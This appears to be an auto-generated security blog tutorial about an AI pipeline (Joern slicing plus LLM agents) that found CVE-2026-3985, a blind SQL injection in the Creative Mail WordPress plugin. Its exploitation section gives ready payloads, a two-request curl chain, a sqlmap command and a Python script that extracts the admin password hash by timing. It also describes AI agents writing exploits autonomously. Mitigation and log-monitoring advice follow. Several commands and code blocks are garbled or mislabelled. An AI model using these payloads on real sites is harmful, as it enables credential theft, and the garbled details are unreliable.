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Introduction:
The cybersecurity landscape is witnessing a paradigm shift where artificial intelligence is no longer just a defensive tool but an offensive weapon capable of discovering and exploiting vulnerabilities with zero human intervention. Intruder, a cutting-edge security research firm, has demonstrated this reality by building an automated pipeline that takes AI tokens as input and produces working zero-day exploits as output—starting with CVE-2026-3985, a multi-step blind SQL injection in a WordPress plugin with over 300,000 active installations. This breakthrough represents a fundamental change in how vulnerabilities will be discovered, raising urgent questions about the future of attack surface management and the speed at which organizations must respond to emerging threats.
Learning Objectives:
- Understand how large language models (LLMs) can be integrated with traditional code scanning frameworks to automate vulnerability discovery
- Learn the technical details behind CVE-2026-3985, including the root cause and exploitation chain
- Master the step-by-step process of building an AI-powered vulnerability research pipeline
- Gain practical knowledge of SQL injection detection, exploitation techniques, and mitigation strategies
- Develop skills in using Joern, code slicing, and LLM-based triage for security research
You Should Know:
- The Architecture of an AI-Powered Vulnerability Discovery Pipeline
The core innovation behind Intruder’s zero-day vending machine lies in its divide-and-conquer approach to code analysis. Rather than feeding an entire codebase into an LLM and hoping for the best—which quickly exhausts token budgets and overwhelms context windows—the pipeline intelligently slices code into manageable, relevant chunks.
Step-by-Step Guide: Building Your Own AI Vulnerability Pipeline
Step 1: Codebase Acquisition and Preparation
Start by selecting a target codebase. For WordPress plugins, this means downloading the plugin directory:
Linux/macOS wget -O plugin.zip https://downloads.wordpress.org/plugin/creative-mail.zip unzip plugin.zip -d ./target-plugin/
Step 2: Static Analysis with Joern
Install and configure Joern, a powerful code analysis framework:
Install Joern (Linux/macOS) curl -L "https://github.com/joernio/joern/releases/latest/download/joern-install.sh" | bash export PATH=$PATH:~/bin/joern Generate a code property graph joern-parse ./target-plugin/ joern-export --repr=all --out ./export/
Step 3: Generate Program Slices
The pipeline uses Joern to identify attack surfaces—REST routes, template hooks, and nopriv AJAX calls in WordPress—then generates relevant code slices for each hook:
// Joern script to find WordPress hooks
cpg.method.where(_.name.matches(".(rest_api|ajax|hook).")).l
Step 4: Taint Tracking and Filtering
Apply basic taint tracking to eliminate obviously safe functions. This includes identifying inputs that pass through known sanitizers:
Pseudo-code for taint tracking def is_safe(node): sanitizers = ['esc_sql', 'esc_html', 'wp_kses', 'filter_var'] for sanitizer in sanitizers: if sanitizer in node.code: return True return False
Step 5: LLM Triage and Exploitation
Pass each slice to a triage agent (Sonnet model) to determine if the vulnerability is interesting, then to a heavyweight agent (Opus) for exploitation:
Python pseudo-code for the pipeline slices = joern.generate_slices(codebase) for slice in slices: if triage_agent.is_interesting(slice): exploit = exploitation_agent.write_exploit(slice) if exploit.verify(): report_vulnerability(exploit)
Windows Alternative:
For Windows environments, use PowerShell to download and extract plugins:
Invoke-WebRequest -Uri "https://downloads.wordpress.org/plugin/creative-mail.zip" -OutFile "plugin.zip" Expand-Archive -Path "plugin.zip" -DestinationPath "./target-plugin/"
- CVE-2026-3985: Anatomy of a Multi-Step Blind SQL Injection
The first vulnerability discovered by the AI pipeline was CVE-2026-3985, a SQL injection in the Creative Mail WordPress plugin. What makes this vulnerability particularly interesting is its multi-step nature and the way it evades traditional detection tools.
Step-by-Step Guide: Understanding and Exploiting the Vulnerability
Step 1: Identify the Root Cause
The vulnerable code resides in `DatabaseManager.php` within the `has_checkout_consent()` function:
// phpcs:disable WordPress.DB.PreparedSQL -- Okay use of unprepared variable for table name in SQL.
$wpdb->prepare("SELECT checkout_consent FROM {$table_name} WHERE checkout_uuid = '{$checkout_uuid}'")
The critical issue: the developer intended to disable PHPCS warnings only for the `$table_name` variable (which is safe), but the `// phpcs:disable` comment disables warnings for the entire line, allowing the unsanitized `$checkout_uuid` to pass unnoticed.
Step 2: Trace User Input Control
The attacker controls `$checkout_uuid` through the `ce4wp-recover` parameter:
$this->checkout_uuid = filter_input(INPUT_GET, 'ce4wp-recover', FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES);
The `FILTER_FLAG_NO_ENCODE_QUOTES` flag prevents encoding of quotes, making it insufficient for SQL injection prevention.
Step 3: Understand the Exploitation Chain
The vulnerability requires two requests:
- First Request: Store the malicious payload in the session
- Second Request: Execute the payload when the session value is read
Request 1: Store payload curl -X GET "http://target.com/?ce4wp-recover=1' OR SLEEP(35)-- -" Request 2: Trigger execution (session must persist) curl -X GET "http://target.com/checkout/"
Step 4: Time-Based Blind Exploitation
Since the injection is blind (no visible output), the attacker uses time-based techniques:
-- Extract database version 1' AND IF(SUBSTRING(@@version,1,1)='8', SLEEP(35), 0)-- - -- Extract admin password hash 1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$', SLEEP(35), 0)-- -
Step 5: Automated Exploitation Script
The AI agent generated a working proof-of-concept script that performs a binary search to extract sensitive data:
Simplified version of the AI-generated exploit
import requests
import time
def blind_sqli_extract(query):
result = ""
for position in range(1, 100):
for char in range(32, 127):
payload = f"1' AND IF(SUBSTRING(({query}),{position},1)=CHAR({char}), SLEEP(35), 0)-- -"
Store payload in session via first request
requests.get(f"http://target.com/?ce4wp-recover={payload}")
Trigger execution
start = time.time()
requests.get("http://target.com/checkout/")
elapsed = time.time() - start
if elapsed > 30: Account for multiple query executions
result += chr(char)
break
return result
print(blind_sqli_extract("SELECT user_pass FROM wp_users LIMIT 1"))
- Mitigation Strategies: Protecting Against SQL Injection in WordPress
Step-by-Step Guide: Securing WordPress Plugins Against SQL Injection
Step 1: Always Use Prepared Statements Correctly
Never disable PHPCS warnings without understanding the implications. Use `$wpdb->prepare()` properly:
// Correct approach
$wpdb->prepare(
"SELECT checkout_consent FROM {$wpdb->prefix}table WHERE checkout_uuid = %s",
$checkout_uuid
);
Step 2: Validate and Sanitize All User Inputs
Use WordPress’s built-in sanitization functions:
$checkout_uuid = sanitize_text_field($_GET['ce4wp-recover']); // or $checkout_uuid = filter_input(INPUT_GET, 'ce4wp-recover', FILTER_SANITIZE_STRING);
Step 3: Implement Proper Input Validation
Validate the format of expected inputs:
if (!preg_match('/^[a-f0-9]{32}$/', $checkout_uuid)) {
wp_die('Invalid UUID format');
}
Step 4: Use WordPress Nonces for CSRF Protection
Add nonce verification to prevent unauthorized requests:
if (!wp_verify_nonce($_GET['_wpnonce'], 'ce4wp_recover_action')) {
wp_die('Security check failed');
}
Step 5: Regular Security Audits
Implement automated security scanning in your CI/CD pipeline:
WordPress security scanner wp scan --path=/var/www/html Static analysis with PHPStan phpstan analyse --level=max ./target-plugin/
Windows Command for WordPress Security:
Using WPScan (requires Ruby) wpscan --url http://target.com --api-token YOUR_API_TOKEN
- The Future of Attack Surface Management in the AI Era
The success of Intruder’s zero-day vending machine demonstrates that AI-powered vulnerability research is no longer theoretical—it’s practical and already producing results. Organizations can no longer afford to wait weeks to patch exposed services.
Step-by-Step Guide: Building an AI-Resilient Security Program
Step 1: Automate Vulnerability Discovery
Deploy tools that can keep pace with AI-driven attack tools:
Continuous scanning with Nuclei nuclei -target http://target.com -t cves/ -severity critical,high Automated DAST with OWASP ZAP zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
Step 2: Implement Attack Surface Management
Map and continuously monitor your entire attack surface:
Subdomain enumeration subfinder -d target.com -o subdomains.txt Port scanning nmap -p- --min-rate 10000 -oA portscan target.com
Step 3: Adopt Zero-Trust Architecture
Implement strict access controls and monitoring:
Monitor for suspicious SQL patterns
tail -f /var/log/mysql/slow.log | grep -i "union|sleep|benchmark"
Windows Event Log monitoring
Get-WinEvent -LogName Application | Where-Object { $_.Message -match "SQL" }
Step 4: Continuous Security Training
Train development teams on secure coding practices:
Run security training tools docker run -it securecodebox/securecodebox-cli scan http://target.com
5. Practical Commands for Vulnerability Detection and Exploitation
Linux Commands:
Detect SQL injection with sqlmap
sqlmap -u "http://target.com/?ce4wp-recover=1" --level=3 --risk=2 --time-sec=35
WordPress vulnerability scanning
wpscan --url http://target.com --enumerate vp,vt
Network monitoring for suspicious activity
tcpdump -i eth0 -1n 'port 80' -A | grep -i "ce4wp-recover"
Log analysis for attack patterns
grep -r "ce4wp-recover" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c
Windows Commands:
PowerShell SQL injection detection
Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC1.log" -Pattern "ce4wp-recover"
IIS log monitoring
Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log" -Wait | Select-String "ce4wp-recover"
Process monitoring for suspicious activity
Get-Process | Where-Object { $_.CPU -gt 50 }
What Undercode Say:
- Key Takeaway 1: The combination of traditional static analysis (Joern) with LLM-powered triage and exploitation represents a new frontier in automated vulnerability research. The divide-and-conquer approach of generating program slices solves the context window limitation that has previously hindered AI-powered code analysis.
-
Key Takeaway 2: CVE-2026-3985 demonstrates that even well-established WordPress plugins with hundreds of thousands of users can contain critical vulnerabilities that evade both static analysis tools and manual review. The root cause—a misapplied PHPCS disable comment—highlights the importance of understanding security tooling rather than blindly silencing warnings.
Analysis: The implications of AI-powered vulnerability discovery are profound. Attackers are already using existing tools to feed AI focused, targeted input, dramatically increasing the signal-to-1oise ratio and their chances of finding vulnerabilities quickly. For defenders, this means the window for patching vulnerabilities has shrunk from weeks to potentially hours. Organizations must adopt automated attack surface management tools and implement continuous monitoring to stay ahead. The fact that the AI agent was able to generate a working exploit script without human intervention suggests that we are entering an era where vulnerability discovery and weaponization can occur at machine speed. This shift will likely force a fundamental rethinking of security practices, moving from reactive patching to proactive, automated defense mechanisms.
Prediction:
- +1 The democratization of AI-powered vulnerability research will lead to more vulnerabilities being discovered and disclosed, ultimately making software ecosystems more secure as developers are forced to adopt more rigorous coding standards.
-
-1 The speed at which AI can discover and exploit vulnerabilities will outpace the ability of most organizations to patch them, leading to a surge in zero-day attacks and increased pressure on security teams.
-
+1 Security vendors will rapidly innovate, developing AI-powered defensive tools that can automatically detect and patch vulnerabilities in real-time, creating a new arms race in cybersecurity.
-
-1 Small and medium-sized businesses without dedicated security teams will be disproportionately affected, as they lack the resources to keep up with AI-driven threat actors.
-
+1 The integration of AI with virtual machines and automated testing environments will accelerate the development of comprehensive security solutions, enabling faster and more accurate vulnerability assessments.
-
-1 The trust in automated security tools may lead to over-reliance, potentially causing security teams to overlook complex, business-logic vulnerabilities that require human intuition.
-
+1 The public disclosure of tools like Intruder’s vending machine will push the security community toward more collaborative and transparent vulnerability research, benefiting the entire ecosystem.
-
-1 The use of AI in vulnerability research raises ethical concerns about the potential for misuse, particularly if the technology falls into the hands of malicious actors who may use it to discover and exploit vulnerabilities at scale before patches are available.
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